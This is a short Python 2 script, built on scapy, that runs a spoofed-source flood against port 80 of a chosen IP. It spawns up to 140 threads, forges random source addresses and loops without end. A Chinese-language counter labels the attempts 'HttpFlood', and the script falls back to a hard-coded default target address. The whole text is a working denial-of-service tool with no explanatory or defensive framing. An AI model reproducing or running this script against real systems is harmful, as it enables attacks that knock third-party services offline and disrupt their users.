# -*- coding: cp936 -*- from scapy.all import * from threading import Thread,activeCount from random import randint class Loop(Thread):     def __init__(self,remoteAddr):         Thread.__init__(self)         self.remoteAddr = remoteAddr     def run(self):         ip = str(randint(0,255))+'.'\              +str(randint(0,255))+'.'\              +str(randint(0,255))+'.'\              +str(randint(0,255))         sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)         class Main(Thread):     def __init__(self,remoteAddr):         Thread.__init__(self)         self.remoteAddr = remoteAddr     def run(self):         limit = 140         total = 0         while True:             if activeCount() < limit:                 Loop(remoteAddr = self.remoteAddr).start()                 total = total + 1             print '目前已经进行的HttpFlood的次数为:',total if __name__ == '__main__':     remoteAddr = raw_input('IP=')     if remoteAddr == '':         remoteAddr = '202.103.25.12'     Main(remoteAddr = remoteAddr).start()